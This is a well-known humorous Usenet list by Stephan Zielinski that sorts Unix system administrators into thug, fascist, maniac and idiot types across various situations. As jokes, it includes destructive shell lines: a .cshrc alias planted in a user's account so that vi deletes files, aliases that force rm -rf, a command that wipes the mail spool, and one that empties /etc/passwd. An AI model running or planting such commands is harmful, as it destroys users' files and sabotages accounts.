||||
|
||||
---------------- SITUATION: Poor network response. ----------------
|
||||
|
||||
TECHNICAL THUG: Writes scripts to monitor network, then
|
||||
rewires entire machine room, improving response time by 2%. Shrugs
|
||||
shoulders, says, "I've done all I can do," and goes mountain climbing.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts network usage policy in motd.
|
||||
Calls up Berkeley and AT&T, badgers whoever answers for network
|
||||
quotas. Tries to get xtrek freaks fired.
|
||||
|
||||
MANIAC: Every two hours, pulls ethernet cable from wall and
|
||||
waits for connections to time out.
|
||||
|
||||
IDIOT:
|
||||
# compress -f /dev/en0
|
||||
|
||||
|
||||
---------------- SITUATION: User questions. ----------------
|
||||
|
||||
TECHNICAL THUG: Hacks the code of emacs' doctor-mode to answer
|
||||
new users questions. Doesn't bother to tell people how to start the
|
||||
new "guru-mode", or for that matter, emacs.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts user support policy in motd.
|
||||
Maintains queue of questions. Answers them when he gets a chance,
|
||||
often within two weeks of receipt of the proper form.
|
||||
|
||||
MANIAC: Screams at users until they go away. Sometimes
|
||||
barters knowledge for powerful drink and/or sycophantic adulation.
|
||||
|
||||
IDIOT: Answers all questions to best of his knowledge until
|
||||
the user realizes few UNIX systems support punched cards or JCL.
|
||||
|
||||
|
||||
---------------- SITUATION: *Stupid* user questions. ----------------
|
||||
|
||||
TECHNICAL THUG: Answers question in hex, binary, postfix,
|
||||
and/or French until user gives up and goes away.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Locks user's account until user can
|
||||
present documentation demonstrating their qualification to use the
|
||||
machine.
|
||||
|
||||
MANIAC:
|
||||
# cat >> ~luser/.cshrc
|
||||
alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc'
|
||||
^D
|
||||
|
||||
IDIOT: Answers all questions to best of his knowledge.
|
||||
Recruits user to system administration team.
|
||||
|
||||
|
||||
---------------- SITUATION: Process accounting management. ----------------
|
||||
|
||||
TECHNICAL THUG: Ignores packaged accounting software; trusts
|
||||
scripts to sniff out any problems & compute charges.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Devotes 75% of disk space to
|
||||
accounting records owned by root and chmod'ed 000.
|
||||
|
||||
MANIAC: Laughs fool head off at very mention of accounting.
|
||||
|
||||
IDIOT:
|
||||
# lpr /etc/wtmp /usr/adm/paact
|
||||
|
||||
|
||||
---------------- SITUATION: Religious war, BSD vs. System V. ----------------
|
||||
|
||||
TECHNICAL THUG: BSD. Crippled on System V boxes.
|
||||
|
||||
ADMINISTRATIVE FASCIST: System V. Horrified by the people who
|
||||
use BSD. Places frequent calls to DEA.
|
||||
|
||||
MANIAC: Prefers BSD, but doesn't care as long as HIS processes
|
||||
run quickly.
|
||||
|
||||
IDIOT:
|
||||
# cd c:
|
||||
|
||||
|
||||
---------------- SITUATION: Religious war, System V vs. AIX ----------------
|
||||
|
||||
TECHNICAL THUG: Weeps.
|
||||
|
||||
ADMINISTRATIVE FASCIST: AIX-- doesn't much care for the OS,
|
||||
but loves the jackboots.
|
||||
|
||||
MANIAC: System V, but keeps AIX skills up, knowing full well
|
||||
how much Big Financial Institutions love IBM...
|
||||
|
||||
IDIOT: AIX.
|
||||
|
||||
|
||||
---------------- SITUATION: Balky printer daemons. ----------------
|
||||
|
||||
TECHNICAL THUG: Rewrites lpd in FORTH.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts printer use policy in motd.
|
||||
Calls customer support every time the printer freezes. Tries to get
|
||||
user who submitted the most recent job fired.
|
||||
|
||||
MANIAC: Writes script that kills all the daemons, clears all
|
||||
the print queues, and maybe restarts the daemons. Runs it once a hour
|
||||
from cron.
|
||||
|
||||
IDIOT:
|
||||
# kill -9 /dev/lp ; /dev/lp &
|
||||
|
||||
|
||||
---------------- SITUATION: OS upgrade. ----------------
|
||||
|
||||
TECHNICAL THUG: Reads source code of new release, takes only
|
||||
what he likes.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Instigates lawsuit against the vendor
|
||||
for having shipped a product with bugs in it in the first place.
|
||||
|
||||
MANIAC:
|
||||
# uptime
|
||||
1:33pm up 19 days, 22:49, 167 users, load average: 6.49, 6.45, 6.31
|
||||
# wall
|
||||
Well, it's upgrade time. Should take a few hours. And good luck on that
|
||||
5:00 deadline, guys! We're all pulling for you!
|
||||
^D
|
||||
|
||||
IDIOT:
|
||||
# dd if=/dev/rmt8 of=/vmunix
|
||||
|
||||
|
||||
---------------- SITUATION: Balky mail. ----------------
|
||||
|
||||
TECHNICAL THUG: Rewrites sendmail.cf from scratch. Rewrites
|
||||
sendmail in SNOBOL. Hacks kernel to implement file locking. Hacks
|
||||
kernel to implement "better" semaphores. Rewrites sendmail in
|
||||
assembly. Hacks kernel to . . .
|
||||
|
||||
ADMINISTRATIVE FASCIST: Puts mail use policy in motd. Locks
|
||||
accounts that go over mail use quota. Keeps quota low enough that
|
||||
people go back to interoffice mail, thus solving problem.
|
||||
|
||||
MANIAC:
|
||||
# kill -9 `ps -augxww | grep sendmail | awk '{print $2}'`
|
||||
# rm -f /usr/spool/mail/*
|
||||
# wall
|
||||
Mail is down. Please use interoffice mail until we have it back up.
|
||||
^D
|
||||
# write max
|
||||
I've got my boots and backpack. Ready to leave for Mount Tam?
|
||||
^D
|
||||
|
||||
IDIOT:
|
||||
# echo "HELP!" | mail tech_support.AT.vendor.com%kremvax%bitnet!BIFF!!!
|
||||
|
||||
|
||||
---------------- SITUATION: Users want phone list application. ----------------
|
||||
|
||||
TECHNICAL THUG: Writes RDBMS in perl and Smalltalk. Users
|
||||
give up and go back to post-it notes.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Oracle. Users give up and go back to
|
||||
post-it notes.
|
||||
|
||||
MANIAC: Tells the users to use flat files and grep, the way
|
||||
God meant man to keep track of phone numbers. Users give up and go
|
||||
back to post-it notes.
|
||||
|
||||
IDIOT:
|
||||
% dd ibs=80 if=/dev/rdisk001s7 | grep "Fred"
|
||||
|
||||
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
|
||||
OTHER GUIDELINES:
|
||||
|
||||
|
||||
---------------- TYPICAL ROOT .cshrc FILE: ----------------
|
||||
|
||||
TECHNICAL THUG: Longer than eight kilobytes. Sources the
|
||||
output of a perl script, rewrites itself.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Typical lines include:
|
||||
umask 777
|
||||
alias cd 'cd \!*; rm -rf ching *hack mille omega rogue xtrek >& /dev/null &'
|
||||
|
||||
MANIAC: Typical lines include:
|
||||
alias rm 'rm -rf \!*'
|
||||
alias hose kill -9 '`ps -augxww | grep \!* | awk \'{print $2}\'`'
|
||||
alias kill 'kill -9 \!* ; kill -9 \!* ; kill -9 \!*'
|
||||
alias renice 'echo Renice\? You must mean kill -9.; kill -9 \!*'
|
||||
|
||||
IDIOT: Typical lines include:
|
||||
alias dir ls
|
||||
alias era rm
|
||||
alias kitty cat
|
||||
alias process_table ps
|
||||
setenv DISPLAY vt100
|
||||
|
||||
|
||||
---------------- HOBBIES, TECHNICAL: ----------------
|
||||
|
||||
TECHNICAL THUG: Writes entries for Obsfuscated C contest.
|
||||
Optimizes INTERCAL scripts. Maintains ENIAC emulator. Virtual
|
||||
reality .
|
||||
|
||||
ADMINISTRATIVE FASCIST: Bugs office. Audits card-key logs.
|
||||
Modifies old TVs to listen in on cellular phone conversations.
|
||||
Listens to police band.
|
||||
|
||||
MANIAC: Volunteers at Survival Research Labs. Bugs office.
|
||||
Edits card-key logs. Modifies old TVs to listen in on cellular phone
|
||||
conversations. Jams police band.
|
||||
|
||||
IDIOT: Ties shoes. Maintains COBOL decimal to roman numeral
|
||||
converter. Rereads flowcharts from his salad days at Rand.
|
||||
|
||||
|
||||
---------------- HOBBIES, NONTECHNICAL: ----------------
|
||||
|
||||
TECHNICAL THUG: Drinks "Smart Drinks." Attends raves. Hangs
|
||||
out at poetry readings and Whole Earth Review events and tries to pick
|
||||
up Birkenstock MOTAS.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Reads _Readers Digest_ and _Mein
|
||||
Kampf_. Sometimes turns up car radio and sings along to John Denver.
|
||||
Golfs. Drinks gin martinis. Hangs out in yuppie bars and tries to
|
||||
pick up dominatrixes.
|
||||
|
||||
MANIAC: Reads _Utne Reader_ and _Mein Kampf_. Faithfully
|
||||
attends Dickies and Ramones concerts. Punches out people who say
|
||||
"virtual reality." Drinks damn near anything, but favors Wild Turkey,
|
||||
Black Bush, and grain alcohol. Hangs out in neighborhood bars and
|
||||
tries to pick up MOTAS by drinking longshoremen under the table .
|
||||
|
||||
IDIOT: Reads _Time_ and _Newsweek_-- and *believes* them.
|
||||
Drinks Jagermeister. Tries to pick up close blood relations-- often
|
||||
succeeds, producting next generation of idiots.
|
||||
|
||||
|
||||
---------------- 1992 PRESIDENTIAL ELECTION: ----------------
|
||||
|
||||
TECHNICAL THUG: Clinton, but only because he liked Gore's
|
||||
book.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Bush. Possibly Clinton, but only
|
||||
because he liked Tipper.
|
||||
|
||||
MANIAC: Frank Zappa.
|
||||
|
||||
IDIOT: Perot.
|
||||
|
||||
|
||||
---------------- 1996 PRESIDENTIAL ELECTION: ----------------
|
||||
|
||||
TECHNICAL THUG: Richard Stallman - Larry Wall.
|
||||
|
||||
ADMINISTRATIVE FASCIST: Nixon - Buchanan.
|
||||
|
||||
MANIAC: Frank Zappa.
|
||||
|
||||
IDIOT: Quayle.
|
||||
|
||||
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
|
||||
COMPOUND SYSTEM ADMINISTRATORS:
|
||||
|
||||
|
||||
TECHNICAL FASCIST: Hacks kernel & writes a horde of scripts to
|
||||
prevent folk from ever using more than their fair share of system
|
||||
resources. Resulting overhead and load brings system to its knees.
|
||||
|
||||
TECHNICAL MANIAC: Writes scripts that SEEM to be monitoring
|
||||
the system, but are actually encrypting large lists of passwords.
|
||||
Uses nearby nodes as beta test sites for worms.
|
||||
|
||||
TECHNICAL IDIOT: Writes superuser-run scripts that sooner or
|
||||
later do an "rm -rf /".
|
||||
|
||||
FASCISTIC MANIAC: At first hint of cracker incursions, whether
|
||||
real or imagined, shuts down system by triggering water-on-the-brain
|
||||
detectors and Halon system.
|
||||
|
||||
FASCISTIC IDIOT:
|
||||
# cp /dev/null /etc/passwd
|
||||
|
||||
MANIACAL IDIOT: Napalms the CPU.
|
||||
-Stephan Zielinski
|
||||
|
||||
--
|
||||
Selected by Maddi Hausmann. MAIL your jokes (jokes ONLY) to funny@clarinet.com
|
||||
Attribute the joke's source if at all possible. A Daemon will auto-reply.
|
||||
|